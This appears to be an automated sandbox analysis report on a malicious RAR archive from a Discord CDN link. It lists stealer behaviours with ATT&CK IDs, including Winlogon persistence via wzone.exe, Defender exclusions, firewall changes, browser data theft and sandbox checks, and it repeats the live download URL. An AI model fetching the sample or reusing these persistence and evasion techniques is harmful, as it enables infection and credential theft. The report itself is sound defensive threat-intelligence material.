hxxps://cdn[.]discordapp[.]com/attachments/1077164933701189663/1239308410806337658/cH0RlUT[.]rar?ex=66519ca6&is=66504b26&hm=8d737eb8c9dfa93078decd0689c47e3ed2846624f4a79cea8c307779a146d529&

Analysis

max time kernel
723s
max time network
727s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
24/05/2024, 08:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

https://cdn.discordapp.com/attachments/1077164933701189663/1239308410806337658/cH0RlUT.rar?ex=66519ca6&is=66504b26&hm=8d737eb8c9dfa93078decd0689c47e3ed2846624f4a79cea8c307779a146d529&

Score

10^/10

discovery evasion execution persistence spyware stealer

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe,wzone.exe \"C:\\Users\\Admin\\AppData\\Local\\Google\\Chrome\\User Data\\wtime.cmd\" wlocale.cmd"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1836	powershell.exe
2380	powershell.exe
6544	powershell.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
6540	netsh.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	VC_redist.x86.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	Windows Driver Foundation (WDF).exe

Executes dropped EXE 15 IoCs

pid	Process
3112	Patch.exe
4152	7z2201.exe
6528	7z.exe
6756	7z.exe
3636	VC_redist.x86.exe
3956	VC_redist.x86.exe
3872	VC_redist.x86.exe
7032	Windows Driver Foundation (WDF).exe
3500	Windows Driver Foundation (WDF).exe
5556	Patch.exe
6644	7z2201.exe
2504	7z.exe
3652	Patch.exe
6344	7z2201.exe
5416	7z.exe

Loads dropped DLL 53 IoCs

pid	Process
6528	7z.exe
6756	7z.exe
3956	VC_redist.x86.exe
3792	VC_redist.x86.exe
7032	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe
7032	Windows Driver Foundation (WDF).exe
3500	Windows Driver Foundation (WDF).exe
3500	Windows Driver Foundation (WDF).exe
3500	Windows Driver Foundation (WDF).exe
3500	Windows Driver Foundation (WDF).exe
3500	Windows Driver Foundation (WDF).exe
3500	Windows Driver Foundation (WDF).exe
3500	Windows Driver Foundation (WDF).exe
3500	Windows Driver Foundation (WDF).exe
3500	Windows Driver Foundation (WDF).exe
2504	7z.exe
5416	7z.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\{68c77bab-8435-4d15-ae03-fd4f6e158317} = "\"C:\\ProgramData\\Package Cache\\{68c77bab-8435-4d15-ae03-fd4f6e158317}\\VC_redist.x86.exe\" /burn.runonce"	VC_redist.x86.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
133	ipinfo.io
134	ipinfo.io
135	ipinfo.io
147	ipinfo.io

Drops file in System32 directory 49 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\vcruntime140.dll	msiexec.exe
File created	C:\Windows\SysWOW64\concrt140.dll	msiexec.exe
File opened for modification	C:\Windows\SysWOW64\mfc140enu.dll	msiexec.exe
File created	C:\Windows\SysWOW64\vcruntime140_threads.dll	msiexec.exe
File opened for modification	C:\Windows\SysWOW64\mfc140u.dll	msiexec.exe
File created	C:\Windows\SysWOW64\mfcm140.dll	msiexec.exe
File opened for modification	C:\Windows\SysWOW64\mfcm140u.dll	msiexec.exe
File created	C:\Windows\SysWOW64\msvcp140.dll	msiexec.exe
File created	C:\Windows\SysWOW64\msvcp140_2.dll	msiexec.exe
File created	C:\Windows\SysWOW64\mfc140deu.dll	msiexec.exe
File created	C:\Windows\SysWOW64\mfcm140u.dll	msiexec.exe
File created	C:\Windows\SysWOW64\mfc140chs.dll	msiexec.exe
File created	C:\Windows\SysWOW64\mfc140kor.dll	msiexec.exe
File created	C:\Windows\SysWOW64\vcruntime140.dll	msiexec.exe
File created	C:\Windows\SysWOW64\mfc140cht.dll	msiexec.exe
File created	C:\Windows\SysWOW64\mfc140esn.dll	msiexec.exe
File created	C:\Windows\SysWOW64\mfc140jpn.dll	msiexec.exe
File opened for modification	C:\Windows\SysWOW64\concrt140.dll	msiexec.exe
File opened for modification	C:\Windows\SysWOW64\mfc140cht.dll	msiexec.exe
File opened for modification	C:\Windows\SysWOW64\mfc140deu.dll	msiexec.exe
File created	C:\Windows\SysWOW64\mfc140.dll	msiexec.exe
File created	C:\Windows\SysWOW64\mfc140ita.dll	msiexec.exe
File opened for modification	C:\Windows\SysWOW64\msvcp140_codecvt_ids.dll	msiexec.exe
File created	C:\Windows\SysWOW64\vcamp140.dll	msiexec.exe
File created	C:\Windows\SysWOW64\vccorlib140.dll	msiexec.exe
File opened for modification	C:\Windows\SysWOW64\mfc140ita.dll	msiexec.exe
File created	C:\Windows\SysWOW64\mfc140enu.dll	msiexec.exe
File created	C:\Windows\SysWOW64\mfc140fra.dll	msiexec.exe
File opened for modification	C:\Windows\SysWOW64\msvcp140.dll	msiexec.exe
File opened for modification	C:\Windows\SysWOW64\msvcp140_1.dll	msiexec.exe
File opened for modification	C:\Windows\SysWOW64\mfc140fra.dll	msiexec.exe
File opened for modification	C:\Windows\SysWOW64\vccorlib140.dll	msiexec.exe
File opened for modification	C:\Windows\SysWOW64\vcomp140.dll	msiexec.exe
File opened for modification	C:\Windows\SysWOW64\mfcm140.dll	msiexec.exe
File opened for modification	C:\Windows\SysWOW64\mfc140chs.dll	msiexec.exe
File opened for modification	C:\Windows\SysWOW64\vcamp140.dll	msiexec.exe
File opened for modification	C:\Windows\SysWOW64\mfc140jpn.dll	msiexec.exe
File opened for modification	C:\Windows\SysWOW64\mfc140rus.dll	msiexec.exe
File created	C:\Windows\SysWOW64\mfc140rus.dll	msiexec.exe
File opened for modification	C:\Windows\SysWOW64\msvcp140_atomic_wait.dll	msiexec.exe
File created	C:\Windows\SysWOW64\msvcp140_codecvt_ids.dll	msiexec.exe
File created	C:\Windows\SysWOW64\vcomp140.dll	msiexec.exe
File opened for modification	C:\Windows\SysWOW64\mfc140.dll	msiexec.exe
File created	C:\Windows\SysWOW64\mfc140u.dll	msiexec.exe
File created	C:\Windows\SysWOW64\msvcp140_1.dll	msiexec.exe
File created	C:\Windows\SysWOW64\msvcp140_atomic_wait.dll	msiexec.exe
File opened for modification	C:\Windows\SysWOW64\mfc140kor.dll	msiexec.exe
File opened for modification	C:\Windows\SysWOW64\msvcp140_2.dll	msiexec.exe
File opened for modification	C:\Windows\SysWOW64\mfc140esn.dll	msiexec.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\ar.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\7-zip.chm	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\ka.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\nb.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\tt.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\descript.ion	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\Lang\sv.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\ast.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\7z.sfx	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\7zCon.sfx	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\pa-in.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\uz-cyrl.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\be.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\mn.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\7z.sfx	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\cy.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\it.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\7z.sfx	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\ba.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\zh-cn.txt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\Lang\ca.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\gu.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\id.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\sr-spc.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\mn.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\7z.dll	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\de.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\nb.txt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\Lang\zh-tw.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\mk.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\hu.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\ast.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\tt.txt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\descript.ion	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\tr.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\ps.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\ru.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\ka.txt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\7zFM.exe	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\Uninstall.exe	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\7zG.exe	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\cy.txt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\Lang\tt.txt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\7z.dll	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\ba.txt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\7zG.exe	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\7z.exe	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\bn.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\tg.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\tk.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\cy.txt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\Lang\he.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\pl.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\yo.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\ar.txt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\Lang\pa-in.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\io.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\si.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\cs.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\ko.txt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\Lang\ne.txt	7z2201.exe
File created	C:\Program Files (x86)\7-Zip\Lang\sl.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\Lang\uz.txt	7z2201.exe
File opened for modification	C:\Program Files (x86)\7-Zip\7z.exe.tmp2	7z2201.exe

Drops file in Windows directory 18 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\e5bb802.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{2F7F071D-83D0-4994-8237-7B0579452FD4}	msiexec.exe
File created	C:\Windows\Installer\SourceHash{5F0295FE-3DAA-4C04-94A6-2AFC6D739D34}	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\e5bb814.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e5bb814.msi	msiexec.exe
File created	C:\Windows\Installer\e5bb829.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIDA13.tmp	msiexec.exe
File created	C:\Windows\wzone.exe	cmd.exe
File opened for modification	C:\Windows\wzone.exe	attrib.exe
File created	C:\Windows\Installer\e5bb802.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIBE6A.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIC2A2.tmp	msiexec.exe
File created	C:\Windows\Installer\e5bb813.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE3D8.tmp	msiexec.exe
File opened for modification	C:\Windows\wzone.exe	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 000000000400000064efbbd21686319b0000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff00000000270101000008000064efbbd20000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed3a000000ffffffff00000000070001000068090064efbbd2000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d64efbbd2000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff00000000000000000000000064efbbd200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3928	timeout.exe

Enumerates processes with tasklist 1 TTPs 6 IoCs

Process Discovery

T1057

pid	Process
6268	tasklist.exe
4472	tasklist.exe
800	tasklist.exe
4148	tasklist.exe
7144	tasklist.exe
1100	tasklist.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe

Modifies data under HKEY_USERS 11 IoCs

description	ioc	Process
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\23	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\25	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26	msiexec.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133610147457204195"	chrome.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\22\52C64B7E	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\22	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\23	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\24	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\24	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\25	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\D170F7F20D3849942873B7509754F24D	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EF5920F5AAD340C4496AA2CFD637D943	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EF5920F5AAD340C4496AA2CFD637D943\Version = "237404311"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\15E8B87C56C0E773581D82F286F95E50\EF5920F5AAD340C4496AA2CFD637D943	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}"	7z2201.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Dependencies\VC,redist.x86,x86,14.38,bundle\DisplayName = "Microsoft Visual C++ 2015-2022 Redistributable (x86) - 14.38.32919"	VC_redist.x86.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Dependencies\Microsoft.VS.VC_RuntimeMinimumVSU_x86,v14\ = "{2F7F071D-83D0-4994-8237-7B0579452FD4}"	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\679E80FBE29B63345BF612177149674C\SourceList\Net	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\CLASSES\INSTALLER\DEPENDENCIES\MICROSOFT.VS.VC_RUNTIMEADDITIONALVSU_X86,V14\DEPENDENTS\{4D8DCF8C-A72A-43E1-9833-C12724DB736E}	VC_redist.x86.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\CLASSES\INSTALLER\DEPENDENCIES\MICROSOFT.VS.VC_RUNTIMEMINIMUMVSU_X86,V14\DEPENDENTS\{4D8DCF8C-A72A-43E1-9833-C12724DB736E}	VC_redist.x86.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\5040806F8AF9AAC49928419ED5A1D3CA\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Dependencies\Microsoft.VS.VC_RuntimeMinimumVSU_x86,v14\DisplayName = "Microsoft Visual C++ 2022 X86 Minimum Runtime - 14.38.32919"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\15E8B87C56C0E773581D82F286F95E50	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EF5920F5AAD340C4496AA2CFD637D943\SourceList\Net\1 = "C:\\ProgramData\\Package Cache\\{5F0295FE-3DAA-4C04-94A6-2AFC6D739D34}v14.38.32919\\packages\\vcRuntimeAdditional_x86\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EF5920F5AAD340C4496AA2CFD637D943\SourceList\LastUsedSource = "n;1;C:\\ProgramData\\Package Cache\\{5F0295FE-3DAA-4C04-94A6-2AFC6D739D34}v14.38.32919\\packages\\vcRuntimeAdditional_x86\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\DragDropHandlers\7-Zip	7z2201.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\60DB5E5629367203C8625813703DFCA1	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Dependencies\VC,redist.x86,x86,14.38,bundle\ = "{68c77bab-8435-4d15-ae03-fd4f6e158317}"	VC_redist.x86.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}\ = "7-Zip Shell Extension"	7z2201.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32	7z2201.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32\ = "C:\\Program Files (x86)\\7-Zip\\7-zip.dll"	7z2201.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D170F7F20D3849942873B7509754F24D\AuthorizedLUAApp = "0"	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\15E8B87C56C0E773581D82F286F95E50	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\7-Zip	7z2201.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\679E80FBE29B63345BF612177149674C	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\DragDropHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}"	7z2201.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	7zFM.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\7-Zip	7z2201.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D170F7F20D3849942873B7509754F24D\SourceList\Net\1 = "C:\\ProgramData\\Package Cache\\{2F7F071D-83D0-4994-8237-7B0579452FD4}v14.38.32919\\packages\\vcRuntimeMinimum_x86\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}"	7z2201.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32\ThreadingModel = "Apartment"	7z2201.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\EF5920F5AAD340C4496AA2CFD637D943\InstanceType = "0"	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\CLASSES\INSTALLER\DEPENDENCIES\VC,REDIST.X86,X86,14.30,BUNDLE\DEPENDENTS\{4D8DCF8C-A72A-43E1-9833-C12724DB736E}	VC_redist.x86.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\DragDropHandlers\7-Zip	7z2201.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\DragDropHandlers\7-Zip\ = "{23170F69-40C1-278A-1000-000100020000}"	7z2201.exe
Key created	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	7zFM.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\7-Zip	7z2201.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\DragDropHandlers\7-Zip	7z2201.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\D170F7F20D3849942873B7509754F24D\Assignment = "1"	msiexec.exe
